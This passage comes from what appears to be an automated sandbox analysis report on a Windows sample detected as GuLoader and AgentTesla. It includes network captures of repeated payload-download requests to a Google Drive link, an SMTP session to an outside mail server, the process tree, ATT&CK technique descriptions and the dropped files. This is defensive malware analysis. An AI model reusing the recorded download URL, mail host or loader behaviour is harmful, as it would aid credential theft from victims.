65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:56 UTC	7	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49766	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:57 UTC	7	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:05 UTC	8	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:05 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:05 UTC	8	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:05 UTC	9	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49768	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:06 UTC	9	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:15 UTC	9	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:15 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:15 UTC	10	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:15 UTC	10	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49770	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:16 UTC	11	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:23 UTC	11	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:23 UTC	11	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:23 UTC	12	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49771	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:24 UTC	12	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:29 UTC	12	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:29 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:29 UTC	13	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:29 UTC	14	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49773	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:30 UTC	14	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:36 UTC	14	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:36 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:36 UTC	14	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:36 UTC	15	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 20, 2022 15:32:05.700212955 CEST	587	49786	185.51.191.23	192.168.11.20	220-thtwentythree.tarhely.eu ESMTP Exim 4.95 #2 Wed, 20 Apr 2022 15:32:04 +0200 220- We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 20, 2022 15:32:05.700575113 CEST	49786	587	192.168.11.20	185.51.191.23	EHLO 494126
Apr 20, 2022 15:32:05.722093105 CEST	587	49786	185.51.191.23	192.168.11.20	250-thtwentythree.tarhely.eu Hello 494126 [102.129.143.41] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 20, 2022 15:32:05.722443104 CEST	49786	587	192.168.11.20	185.51.191.23	STARTTLS
Apr 20, 2022 15:32:05.744647026 CEST	587	49786	185.51.191.23	192.168.11.20	220 TLS go ahead

Target ID:	1
Start time:	15:28:51
Start date:	20/04/2022
Path:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Imagebase:	0x400000
File size:	125736 bytes
MD5 hash:	04E8C57A5DF1834C590C49CCC8734D6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: CasPol.exePID: 3292, Parent PID: 1612

General

Target ID:	3
Start time:	15:29:06
Start date:	20/04/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe"
Imagebase:	0x7e0000
File size:	108664 bytes
MD5 hash:	914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: conhost.exePID: 956, Parent PID: 3292

General

Target ID:	4
Start time:	15:29:07
Start date:	20/04/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6dac60000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FRACCIONAMIENTO 1722403906461L.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: GuLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Temp\camera-hardware-disabled-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\emblem-unreadable.png

C:\Users\user\AppData\Local\Temp\mail-signed.png

C:\Users\user\AppData\Local\Temp\media-removable.png

C:\Users\user\AppData\Local\Temp\monotocardiac.dat

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

C:\Users\user\AppData\Local\Temp\preferences-system-network-proxy-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\printer-network.png

C:\Users\user\AppData\Local\Temp\selection-end-symbolic-rtl.symbolic.png

C:\Users\user\AppData\Local\Temp\value-increase-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\zoom-out-symbolic.svg

\Device\ConDrv

Static File Info

General

File Icon

Windows Analysis Report
FRACCIONAMIENTO 1722403906461L.exe

